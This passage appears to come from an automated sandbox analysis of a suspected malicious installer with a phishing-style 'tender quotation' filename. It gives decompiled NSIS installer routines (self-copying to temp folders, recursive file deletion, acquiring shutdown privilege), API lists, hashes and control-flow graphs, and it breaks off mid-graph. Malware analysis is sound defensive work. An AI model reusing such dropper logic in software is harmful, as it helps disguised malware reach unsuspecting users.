          													if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v16) != 0) {
          														LookupPrivilegeValueW(_t188, L"SeShutdownPrivilege",  &(_v40.Privileges));
          														_v40.PrivilegeCount = 1;
          														_v28 = 2;
          														AdjustTokenPrivileges(_v16, _t188,  &_v40, _t188, _t188, _t188);
          													}
          													_t123 = E00406A35(4);
          													if(_t123 == _t188) {
          														L75:
          														if(ExitWindowsEx(2, 0x80040002) != 0) {
          															goto L77;
          														}
          														goto L76;
          													} else {
          														_push(0x80040002);
          														_push(0x25);
          														_push(_t188);
          														_push(_t188);
          														_push(_t188);
          														if( *_t123() == 0) {
          															L76:
          															E0040140B(9);
          															goto L77;
          														}
          														goto L75;
          													}
          												}
          												E00405CC8(_v8, 0x200010);
          												ExitProcess(2);
          											}
          											if( *0x42a27c == _t188) {
          												L51:
          												 *0x42a30c =  *0x42a30c | 0xffffffff;
          												_v24 = E00403D17(_t264);
          												goto L68;
          											}
          											_t218 = E00405F64(L"\"C:\\Users\\frontdesk\\Desktop\\Tender_QUOTATION__LH22000309AA2023.exe\"", _t188);
          											if(_t218 < L"\"C:\\Users\\frontdesk\\Desktop\\Tender_QUOTATION__LH22000309AA2023.exe\"") {
          												L48:
          												_t263 = _t218 - L"\"C:\\Users\\frontdesk\\Desktop\\Tender_QUOTATION__LH22000309AA2023.exe\"";
          												_v8 = L"Error launching installer";
          												if(_t218 < L"\"C:\\Users\\frontdesk\\Desktop\\Tender_QUOTATION__LH22000309AA2023.exe\"") {
          													_t189 = E00405C33(__eflags);
          													lstrcatW(_t234, L"~nsu");
          													__eflags = _t189;
          													if(_t189 != 0) {
          														lstrcatW(_t234, "A");
          													}
          													lstrcatW(_t234, L".tmp");
          													_t219 = L"C:\\Users\\frontdesk\\Desktop";
          													_t137 = lstrcmpiW(_t234, L"C:\\Users\\frontdesk\\Desktop");
          													__eflags = _t137;
          													if(_t137 == 0) {
          														L67:
          														_t188 = 0;
          														__eflags = 0;
          														goto L68;
          													} else {
          														__eflags = _t189;
          														_push(_t234);
          														if(_t189 == 0) {
          															E00405C16();
          														} else {
          															E00405B99();
          														}
          														SetCurrentDirectoryW(_t234);
          														__eflags = L"C:\\Users\\FRONTD~1\\AppData\\Local\\Temp"; // 0x43
          														if(__eflags == 0) {
          															E00406668(L"C:\\Users\\FRONTD~1\\AppData\\Local\\Temp", _t219);
          														}
          														E00406668(0x42b000, _v16);
          														_t201 = "A" & 0x0000ffff;
          														_t143 = ( *0x40a316 & 0x0000ffff) << 0x00000010 | "A" & 0x0000ffff;
          														__eflags = _t143;
          														_v12 = 0x1a;
          														 *0x42b800 = _t143;
          														do {
          															E004066A5(0, 0x420f08, _t234, 0x420f08,  *((intOrPtr*)( *0x42a270 + 0x120)));
          															DeleteFileW(0x420f08);
          															__eflags = _v8;
          															if(_v8 != 0) {
          																_t148 = CopyFileW(L"C:\\Users\\frontdesk\\Desktop\\Tender_QUOTATION__LH22000309AA2023.exe", 0x420f08, 1);
          																__eflags = _t148;
          																if(_t148 != 0) {
          																	E00406428(_t201, 0x420f08, 0);
          																	E004066A5(0, 0x420f08, _t234, 0x420f08,  *((intOrPtr*)( *0x42a270 + 0x124)));
          																	_t152 = E00405C4B(0x420f08);
          																	__eflags = _t152;
          																	if(_t152 != 0) {
          																		CloseHandle(_t152);
          																		_v8 = 0;
          																	}
          																}
          															}
          															 *0x42b800 =  *0x42b800 + 1;
          															_t61 =  &_v12;
          															 *_t61 = _v12 - 1;
          															__eflags =  *_t61;
          														} while ( *_t61 != 0);
          														E00406428(_t201, _t234, 0);
          														goto L67;
          													}
          												}
          												 *_t218 = _t188;
          												_t221 =  &(_t218[2]);
          												_t157 = E0040603F(_t263,  &(_t218[2]));
          												_t264 = _t157;
          												if(_t157 == 0) {
          													goto L68;
          												}
          												E00406668(L"C:\\Users\\FRONTD~1\\AppData\\Local\\Temp", _t221);
          												E00406668(L"C:\\Users\\FRONTD~1\\AppData\\Local\\Temp", _t221);
          												_v8 = _t188;
          												goto L51;
          											}
          											asm("cdq");
          											asm("cdq");
          											asm("cdq");
          											_t204 = ( *0x40a33a & 0x0000ffff) << 0x00000010 | L" _?=" & 0x0000ffff;
          											_t167 = ( *0x40a33e & 0x0000ffff) << 0x00000010 |  *0x40a33c & 0x0000ffff | (_t209 << 0x00000020 |  *0x40a33e & 0x0000ffff) << 0x10;
          											while( *_t218 != _t204 || _t218[1] != _t167) {
          												_t218 = _t218;
          												if(_t218 >= L"\"C:\\Users\\frontdesk\\Desktop\\Tender_QUOTATION__LH22000309AA2023.exe\"") {
          													continue;
          												}
          												break;
          											}
          											_t188 = 0;
          											goto L48;
          										}
          										GetWindowsDirectoryW(_t234, 0x3fb);
          										lstrcatW(_t234, L"\\Temp");
          										_t170 = E0040360F(_t198, _t252);
          										_t253 = _t170;
          										if(_t170 != 0) {
          											goto L40;
          										}
          										GetTempPathW(0x3fc, _t234);
          										lstrcatW(_t234, L"Low");
          										SetEnvironmentVariableW(L"TEMP", _t234);
          										SetEnvironmentVariableW(L"TMP", _t234);
          										_t175 = E0040360F(_t198, _t253);
          										_t254 = _t175;
          										if(_t175 == 0) {
          											goto L68;
          										}
          										goto L40;
          									}
          									goto L31;
          								}
          								__eflags =  *((intOrPtr*)(_t198 + 4)) - _t226;
          								if( *((intOrPtr*)(_t198 + 4)) != _t226) {
          									goto L29;
          								}
          								_t177 =  *((intOrPtr*)(_t198 + 8));
          								__eflags = _t177 - 0x20;
          								if(_t177 == 0x20) {
          									L28:
          									_t36 =  &_v20;
          									 *_t36 = _v20 | 0x00000004;
          									__eflags =  *_t36;
          									goto L29;
          								}
          								__eflags = _t177 - _t188;
          								if(_t177 != _t188) {
          									goto L29;
          								}
          								goto L28;
          							}
          							_t178 =  *((intOrPtr*)(_t198 + 2));
          							__eflags = _t178 - _t209;
          							if(_t178 == _t209) {
          								L23:
          								 *0x42a300 = 1;
          								goto L24;
          							}
          							__eflags = _t178 - _t188;
          							if(_t178 != _t188) {
          								goto L24;
          							}
          							goto L23;
          						}
          					} else {
          						goto L16;
          					}
          					do {
          						L16:
          						_t198 = _t198 + 2;
          						__eflags =  *_t198 - _t209;
          					} while ( *_t198 == _t209);
          					goto L17;
          				}
          				goto L37;
          			}



















































          0x0040364e
          0x0040364f
          0x00403656
          0x00403659
          0x00403660
          0x00403663
          0x00403676
          0x0040367c
          0x0040367f
          0x00403682
          0x00403690
          0x00403698
          0x004036a3
          0x004036bc
          0x004036be
          0x004036c6
          0x004036c6
          0x004036d1
          0x004036d3
          0x004036d3
          0x004036e8
          0x0040370d
          0x0040371b
          0x0040371e
          0x00403725
          0x0040372c
          0x0040372c
          0x00403725
          0x0040372e
          0x00403733
          0x00403734
          0x00403740
          0x00403744
          0x0040374b
          0x00403759
          0x0040375e
          0x00403765
          0x00403769
          0x0040376d
          0x0040376f
          0x0040376f
          0x0040376d
          0x00403776
          0x0040377d
          0x00403783
          0x0040379b
          0x004037ab
          0x004037b0
          0x004037b6
          0x004037bd
          0x004037c4
          0x004037c6
          0x004037c7
          0x004037d1
          0x004037d8
          0x004037da
          0x004037dc
          0x004037dc
          0x004037ef
          0x004037f1
          0x004038eb
          0x004038eb
          0x004038ee
          0x004038f1
          0x00000000
          0x00000000
          0x004037fb
          0x004037fc
          0x004037ff
          0x00403808
          0x00403808
          0x0040380b
          0x0040380e
          0x00403811
          0x00403814
          0x00403814
          0x00403814
          0x00403815
          0x00403819
          0x004038d9
          0x004038e2
          0x004038e4
          0x004038e7
          0x004038ea
          0x004038ea
          0x004038ea
          0x00000000
          0x0040381f
          0x00403820
          0x00403821
          0x00403825
          0x0040383f
          0x00403846
          0x00403859
          0x0040385a
          0x0040386f
          0x00403874
          0x00403876
          0x00403878
          0x00403894
          0x0040389b
          0x004038ae
          0x004038af
          0x004038c4
          0x004038ca
          0x004038cc
          0x004038ce
          0x004038d6
          0x004038d8
          0x00000000
          0x004038d8
          0x004038d2
          0x004038d4
          0x004038f9
          0x004038fd
          0x00403906
          0x0040390b
          0x00403911
          0x0040391c
          0x0040391e
          0x00403923
          0x00403925
          0x0040397d
          0x00403982
          0x0040398b
          0x00403992
          0x00403995
          0x00403b6c
          0x00403b6c
          0x00403b71
          0x00403b7a
          0x00403b97
          0x00403c0f
          0x00403c0f
          0x00403c17
          0x00403c19
          0x00403c19
          0x00403c1f
          0x00403c1f
          0x00403bae
          0x00403bba
          0x00403bcb
          0x00403bd2
          0x00403bd9
          0x00403bd9
          0x00403be1
          0x00403bed
          0x00403bfb
          0x00403c06
          0x00000000
          0x00000000
          0x00000000
          0x00403bef
          0x00403bef
          0x00403bf0
          0x00403bf2
          0x00403bf3
          0x00403bf4
          0x00403bf9
          0x00403c08
          0x00403c0a
          0x00000000
          0x00403c0a
          0x00000000
          0x00403bf9
          0x00403bed
          0x00403b84
          0x00403b8b
          0x00403b8b
          0x004039a1
          0x00403a48
          0x00403a48
          0x00403a54
          0x00000000
          0x00403a54
          0x004039b2
          0x004039ba
          0x00403a0c
          0x00403a0c
          0x00403a12
          0x00403a19
          0x00403a67
          0x00403a69
          0x00403a6e
          0x00403a70
          0x00403a78
          0x00403a78
          0x00403a83
          0x00403a88
          0x00403a8f
          0x00403a95
          0x00403a97
          0x00403b6a
          0x00403b6a
          0x00403b6a
          0x00000000
          0x00403a9d
          0x00403a9d
          0x00403a9f
          0x00403aa0
          0x00403aa9
          0x00403aa2
          0x00403aa2
          0x00403aa2
          0x00403aaf
          0x00403ab7
          0x00403abe
          0x00403ac6
          0x00403ac6
          0x00403ad3
          0x00403adf
          0x00403ae9
          0x00403ae9
          0x00403aeb
          0x00403af2
          0x00403afc
          0x00403b08
          0x00403b0e
          0x00403b14
          0x00403b17
          0x00403b21
          0x00403b27
          0x00403b29
          0x00403b2d
          0x00403b3e
          0x00403b44
          0x00403b49
          0x00403b4b
          0x00403b4e
          0x00403b54
          0x00403b54
          0x00403b4b
          0x00403b29
          0x00403b57
          0x00403b5e
          0x00403b5e
          0x00403b5e
          0x00403b5e
          0x00403b65
          0x00000000
          0x00403b65
          0x00403a97
          0x00403a1b
          0x00403a1e
          0x00403a22
          0x00403a27
          0x00403a29
          0x00000000
          0x00000000
          0x00403a35
          0x00403a40
          0x00403a45
          0x00000000
          0x00403a45
          0x004039c3
          0x004039db
          0x004039ec
          0x004039ed
          0x004039f1
          0x004039f3
          0x00403a01
          0x00403a08
          0x00000000
          0x00000000
          0x00000000
          0x00403a08
          0x00403a0a
          0x00000000
          0x00403a0a
          0x0040392d
          0x00403939
          0x0040393e
          0x00403943
          0x00403945
          0x00000000
          0x00000000
          0x0040394d
          0x00403955
          0x00403966
          0x0040396e
          0x00403970
          0x00403975
          0x00403977
          0x00000000
          0x00000000
          0x00000000
          0x00403977
          0x00000000
          0x004038d4
          0x0040387d
          0x0040387f
          0x00000000
          0x00000000
          0x00403881
          0x00403885
          0x00403889
          0x00403890
          0x00403890
          0x00403890
          0x00403890
          0x00000000
          0x00403890
          0x0040388b
          0x0040388e
          0x00000000
          0x00000000
          0x00000000
          0x0040388e
          0x00403827
          0x0040382b
          0x0040382e
          0x00403835
          0x00403835
          0x00000000
          0x00403835
          0x00403830
          0x00403833
          0x00000000
          0x00000000
          0x00000000
          0x00403833
          0x00000000
          0x00000000
          0x00000000
          0x00403801
          0x00403801
          0x00403802
          0x00403803
          0x00403803
          0x00000000
          0x00403801
          0x00000000

          APIs
          • SetErrorMode.KERNELBASE(00008001), ref: 00403663
          • GetVersionExW.KERNEL32(?), ref: 0040368C
          • GetVersionExW.KERNEL32(0000011C), ref: 004036A3
          • lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 0040373A
          • #17.COMCTL32(00000007,00000009,0000000B), ref: 00403776
          • OleInitialize.OLE32(00000000), ref: 0040377D
          • SHGetFileInfoW.SHELL32(00421708,00000000,?,000002B4,00000000), ref: 0040379B
          • GetCommandLineW.KERNEL32(00429260,NSIS Error), ref: 004037B0
          • CharNextW.USER32(00000000,"C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe",00000020,"C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe",00000000), ref: 004037E9
          • GetTempPathW.KERNEL32(00000400,C:\Users\user~1\AppData\Local\Temp\,00000000,?), ref: 0040391C
          • GetWindowsDirectoryW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,000003FB), ref: 0040392D
          • lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,\Temp), ref: 00403939
          • GetTempPathW.KERNEL32(000003FC,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,\Temp), ref: 0040394D
          • lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,Low), ref: 00403955
          • SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,Low), ref: 00403966
          • SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user~1\AppData\Local\Temp\), ref: 0040396E
          • DeleteFileW.KERNELBASE(1033), ref: 00403982
          • lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,~nsu), ref: 00403A69
          • lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,0040A328), ref: 00403A78
            • Part of subcall function 00405C16: CreateDirectoryW.KERNELBASE(?,00000000,00403633,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00403923), ref: 00405C1C
          • lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,.tmp), ref: 00403A83
          • lstrcmpiW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user~1\AppData\Local\Temp\,.tmp,C:\Users\user~1\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe",00000000,?), ref: 00403A8F
          • SetCurrentDirectoryW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\), ref: 00403AAF
          • DeleteFileW.KERNEL32(00420F08,00420F08,?,0042B000,?), ref: 00403B0E
          • CopyFileW.KERNEL32(C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe,00420F08,00000001), ref: 00403B21
          • CloseHandle.KERNEL32(00000000,00420F08,00420F08,?,00420F08,00000000), ref: 00403B4E
          • ExitProcess.KERNEL32(?), ref: 00403B6C
          • OleUninitialize.OLE32(?), ref: 00403B71
          • ExitProcess.KERNEL32 ref: 00403B8B
          • GetCurrentProcess.KERNEL32(00000028,?), ref: 00403B9F
          • OpenProcessToken.ADVAPI32(00000000), ref: 00403BA6
          • LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403BBA
          • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00403BD9
          • ExitWindowsEx.USER32(00000002,80040002), ref: 00403BFE
          • ExitProcess.KERNEL32 ref: 00403C1F
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: Processlstrcat$ExitFile$Directory$CurrentDeleteEnvironmentPathTempTokenVariableVersionWindows$AdjustCharCloseCommandCopyCreateErrorHandleInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesUninitializeValuelstrcmpilstrlen
          • String ID: "C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe"$.tmp$1033$C:\Users\user~1\AppData\Local\Temp$C:\Users\user~1\AppData\Local\Temp$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
          • API String ID: 2292928366-338056415
          • Opcode ID: e0a8c6016783217a32738e87f4e0326041da0509f66f4411adb9540052cd23fd
          • Instruction ID: d56582c8b11bee4b9d4e83ad1f604629a9588d533935b381636b20c84fba3529
          • Opcode Fuzzy Hash: e0a8c6016783217a32738e87f4e0326041da0509f66f4411adb9540052cd23fd
          • Instruction Fuzzy Hash: D4E1F471A00214AADB20AFB58D45A6E3EB8EB05709F50847FF945B32D1DB7C8A41CB6D
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 395 405d74-405d9a call 40603f 398 405db3-405dba 395->398 399 405d9c-405dae DeleteFileW 395->399 401 405dbc-405dbe 398->401 402 405dcd-405ddd call 406668 398->402 400 405f30-405f34 399->400 403 405dc4-405dc7 401->403 404 405ede-405ee3 401->404 410 405dec-405ded call 405f83 402->410 411 405ddf-405dea lstrcatW 402->411 403->402 403->404 404->400 406 405ee5-405ee8 404->406 408 405ef2-405efa call 40699e 406->408 409 405eea-405ef0 406->409 408->400 419 405efc-405f10 call 405f37 call 405d2c 408->419 409->400 414 405df2-405df6 410->414 411->414 415 405e02-405e08 lstrcatW 414->415 416 405df8-405e00 414->416 418 405e0d-405e29 lstrlenW FindFirstFileW 415->418 416->415 416->418 420 405ed3-405ed7 418->420 421 405e2f-405e37 418->421 435 405f12-405f15 419->435 436 405f28-405f2b call 4056ca 419->436 420->404 426 405ed9 420->426 423 405e57-405e6b call 406668 421->423 424 405e39-405e41 421->424 437 405e82-405e8d call 405d2c 423->437 438 405e6d-405e75 423->438 427 405e43-405e4b 424->427 428 405eb6-405ec6 FindNextFileW 424->428 426->404 427->423 431 405e4d-405e55 427->431 428->421 434 405ecc-405ecd FindClose 428->434 431->423 431->428 434->420 435->409 441 405f17-405f26 call 4056ca call 406428 435->441 436->400 446 405eae-405eb1 call 4056ca 437->446 447 405e8f-405e92 437->447 438->428 442 405e77-405e80 call 405d74 438->442 441->400 442->428 446->428 450 405e94-405ea4 call 4056ca call 406428 447->450 451 405ea6-405eac 447->451 450->428 451->428
          C-Code - Quality: 98%
          			E00405D74(void* __eflags, signed int _a4, signed int _a8) {
          				signed int _v8;
          				signed int _v12;
          				short _v556;
          				short _v558;
          				struct _WIN32_FIND_DATAW _v604;
          				signed int _t38;
          				signed int _t52;
          				signed int _t55;
          				signed int _t62;
          				void* _t64;
          				signed char _t65;
          				WCHAR* _t66;
          				void* _t67;
          				WCHAR* _t68;
          				void* _t70;
          
          				_t65 = _a8;
          				_t68 = _a4;
          				_v8 = _t65 & 0x00000004;
          				_t38 = E0040603F(__eflags, _t68);
          				_v12 = _t38;
          				if((_t65 & 0x00000008) != 0) {
          					_t62 = DeleteFileW(_t68); // executed
          					asm("sbb eax, eax");
          					_t64 =  ~_t62 + 1;
          					 *0x42a2e8 =  *0x42a2e8 + _t64;
          					return _t64;
          				}
          				_a4 = _t65;
          				_t8 =  &_a4;
          				 *_t8 = _a4 & 0x00000001;
          				__eflags =  *_t8;
          				if( *_t8 == 0) {
          					L5:
          					E00406668(0x425750, _t68);
          					__eflags = _a4;
          					if(_a4 == 0) {
          						E00405F83(_t68);
          					} else {
          						lstrcatW(0x425750, L"\\*.*");
          					}
          					__eflags =  *_t68;
          					if( *_t68 != 0) {
          						L10:
          						lstrcatW(_t68, 0x40a014);
          						L11:
          						_t66 =  &(_t68[lstrlenW(_t68)]);
          						_t38 = FindFirstFileW(0x425750,  &_v604); // executed
          						_t70 = _t38;
          						__eflags = _t70 - 0xffffffff;
          						if(_t70 == 0xffffffff) {
          							L26:
          							__eflags = _a4;
          							if(_a4 != 0) {
          								_t30 = _t66 - 2;
          								 *_t30 =  *(_t66 - 2) & 0x00000000;
          								__eflags =  *_t30;
          							}
          							goto L28;
          						} else {
          							goto L12;
          						}
          						do {
          							L12:
          							__eflags = _v604.cFileName - 0x2e;
          							if(_v604.cFileName != 0x2e) {
          								L16:
          								E00406668(_t66,  &(_v604.cFileName));
          								__eflags = _v604.dwFileAttributes & 0x00000010;
          								if(__eflags == 0) {
          									_t52 = E00405D2C(__eflags, _t68, _v8);
          									__eflags = _t52;
          									if(_t52 != 0) {
          										E004056CA(0xfffffff2, _t68);
          									} else {
          										__eflags = _v8 - _t52;
          										if(_v8 == _t52) {
          											 *0x42a2e8 =  *0x42a2e8 + 1;
          										} else {
          											E004056CA(0xfffffff1, _t68);
          											E00406428(_t67, _t68, 0);
          										}
          									}
          								} else {
          									__eflags = (_a8 & 0x00000003) - 3;
          									if(__eflags == 0) {
          										E00405D74(__eflags, _t68, _a8);
          									}
          								}
          								goto L24;
          							}
          							__eflags = _v558;
          							if(_v558 == 0) {
          								goto L24;
          							}
          							__eflags = _v558 - 0x2e;
          							if(_v558 != 0x2e) {
          								goto L16;
          							}
          							__eflags = _v556;
          							if(_v556 == 0) {
          								goto L24;
          							}
          							goto L16;
          							L24:
          							_t55 = FindNextFileW(_t70,  &_v604); // executed
          							__eflags = _t55;
          						} while (_t55 != 0);
          						_t38 = FindClose(_t70); // executed
          						goto L26;
          					}
          					__eflags =  *0x425750 - 0x5c;
          					if( *0x425750 != 0x5c) {
          						goto L11;
          					}
          					goto L10;
          				} else {
          					__eflags = _t38;
          					if(_t38 == 0) {
          						L28:
          						__eflags = _a4;
          						if(_a4 == 0) {
          							L36:
          							return _t38;
          						}
          						__eflags = _v12;
          						if(_v12 != 0) {
          							_t38 = E0040699E(_t68);
          							__eflags = _t38;
          							if(_t38 == 0) {
          								goto L36;
          							}
          							E00405F37(_t68);
          							_t38 = E00405D2C(__eflags, _t68, _v8 | 0x00000001);
          							__eflags = _t38;
          							if(_t38 != 0) {
          								return E004056CA(0xffffffe5, _t68);
          							}
          							__eflags = _v8;
          							if(_v8 == 0) {
          								goto L30;
          							}
          							E004056CA(0xfffffff1, _t68);
          							return E00406428(_t67, _t68, 0);
          						}
          						L30:
          						 *0x42a2e8 =  *0x42a2e8 + 1;
          						return _t38;
          					}
          					__eflags = _t65 & 0x00000002;
          					if((_t65 & 0x00000002) == 0) {
          						goto L28;
          					}
          					goto L5;
          				}
          			}


















          0x00405d7e
          0x00405d83
          0x00405d8c
          0x00405d8f
          0x00405d97
          0x00405d9a
          0x00405d9d
          0x00405da5
          0x00405da7
          0x00405da8
          0x00000000
          0x00405da8
          0x00405db3
          0x00405db6
          0x00405db6
          0x00405db6
          0x00405dba
          0x00405dcd
          0x00405dd4
          0x00405dd9
          0x00405ddd
          0x00405ded
          0x00405ddf
          0x00405de5
          0x00405de5
          0x00405df2
          0x00405df6
          0x00405e02
          0x00405e08
          0x00405e0d
          0x00405e13
          0x00405e1e
          0x00405e24
          0x00405e26
          0x00405e29
          0x00405ed3
          0x00405ed3
          0x00405ed7
          0x00405ed9
          0x00405ed9
          0x00405ed9
          0x00405ed9
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00405e2f
          0x00405e2f
          0x00405e2f
          0x00405e37
          0x00405e57
          0x00405e5f
          0x00405e64
          0x00405e6b
          0x00405e86
          0x00405e8b
          0x00405e8d
          0x00405eb1
          0x00405e8f
          0x00405e8f
          0x00405e92
          0x00405ea6
          0x00405e94
          0x00405e97
          0x00405e9f
          0x00405e9f
          0x00405e92
          0x00405e6d
          0x00405e73
          0x00405e75
          0x00405e7b
          0x00405e7b
          0x00405e75
          0x00000000
          0x00405e6b
          0x00405e39
          0x00405e41
          0x00000000
          0x00000000
          0x00405e43
          0x00405e4b
          0x00000000
          0x00000000
          0x00405e4d
          0x00405e55
          0x00000000
          0x00000000
          0x00000000
          0x00405eb6
          0x00405ebe
          0x00405ec4
          0x00405ec4
          0x00405ecd
          0x00000000
          0x00405ecd
          0x00405df8
          0x00405e00
          0x00000000
          0x00000000
          0x00000000
          0x00405dbc
          0x00405dbc
          0x00405dbe
          0x00405ede
          0x00405ee0
          0x00405ee3
          0x00405f34
          0x00405f34
          0x00405f34
          0x00405ee5
          0x00405ee8
          0x00405ef3
          0x00405ef8
          0x00405efa
          0x00000000
          0x00000000
          0x00405efd
          0x00405f09
          0x00405f0e
          0x00405f10
          0x00000000
          0x00405f2b
          0x00405f12
          0x00405f15
          0x00000000
          0x00000000
          0x00405f1a
          0x00000000
          0x00405f21
          0x00405eea
          0x00405eea
          0x00000000
          0x00405eea
          0x00405dc4
          0x00405dc7
          0x00000000
          0x00000000
          0x00000000
          0x00405dc7

          APIs
          • DeleteFileW.KERNELBASE(?,?,772EFAA0,772EF560,00000000), ref: 00405D9D
          • lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nscC804.tmp\*.*,\*.*), ref: 00405DE5
          • lstrcatW.KERNEL32(?,0040A014), ref: 00405E08
          • lstrlenW.KERNEL32(?,?,0040A014,?,C:\Users\user~1\AppData\Local\Temp\nscC804.tmp\*.*,?,?,772EFAA0,772EF560,00000000), ref: 00405E0E
          • FindFirstFileW.KERNELBASE(C:\Users\user~1\AppData\Local\Temp\nscC804.tmp\*.*,?,?,?,0040A014,?,C:\Users\user~1\AppData\Local\Temp\nscC804.tmp\*.*,?,?,772EFAA0,772EF560,00000000), ref: 00405E1E
          • FindNextFileW.KERNELBASE(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405EBE
          • FindClose.KERNELBASE(00000000), ref: 00405ECD
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
          • String ID: .$.$C:\Users\user~1\AppData\Local\Temp\nscC804.tmp\*.*$\*.*
          • API String ID: 2035342205-3230256873
          • Opcode ID: eb4081a649fdbb44c8907daec76b44e1c805ca5b036c6d0867ef95af4715127c
          • Instruction ID: 3801e3340fbbb9c460ab277ab089a7ece50ce31247a5b640c745bca9484d7288
          • Opcode Fuzzy Hash: eb4081a649fdbb44c8907daec76b44e1c805ca5b036c6d0867ef95af4715127c
          • Instruction Fuzzy Hash: 46410330800A15AADB21AB61CC49BBF7678EF41715F50413FF881711D1DB7C4A82CEAE
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 630 406d5f-406d64 631 406dd5-406df3 630->631 632 406d66-406d95 630->632 633 4073cb-4073e0 631->633 634 406d97-406d9a 632->634 635 406d9c-406da0 632->635 636 4073e2-4073f8 633->636 637 4073fa-407410 633->637 638 406dac-406daf 634->638 639 406da2-406da6 635->639 640 406da8 635->640 641 407413-40741a 636->641 637->641 642 406db1-406dba 638->642 643 406dcd-406dd0 638->643 639->638 640->638 647 407441-40744d 641->647 648 40741c-407420 641->648 644 406dbc 642->644 645 406dbf-406dcb 642->645 646 406fa2-406fc0 643->646 644->645 649 406e35-406e63 645->649 653 406fc2-406fd6 646->653 654 406fd8-406fea 646->654 656 406be3-406bec 647->656 650 407426-40743e 648->650 651 4075cf-4075d9 648->651 657 406e65-406e7d 649->657 658 406e7f-406e99 649->658 650->647 655 4075e5-4075f8 651->655 659 406fed-406ff7 653->659 654->659 663 4075fd-407601 655->663 660 406bf2 656->660 661 4075fa 656->661 662 406e9c-406ea6 657->662 658->662 664 406ff9 659->664 665 406f9a-406fa0 659->665 667 406bf9-406bfd 660->667 668 406d39-406d5a 660->668 669 406c9e-406ca2 660->669 670 406d0e-406d12 660->670 661->663 672 406eac 662->672 673 406e1d-406e23 662->673 681 407581-40758b 664->681 682 406f7f-406f97 664->682 665->646 671 406f3e-406f48 665->671 667->655 674 406c03-406c10 667->674 668->633 683 406ca8-406cc1 669->683 684 40754e-407558 669->684 675 406d18-406d2c 670->675 676 40755d-407567 670->676 677 40758d-407597 671->677 678 406f4e-407117 671->678 689 406e02-406e1a 672->689 690 407569-407573 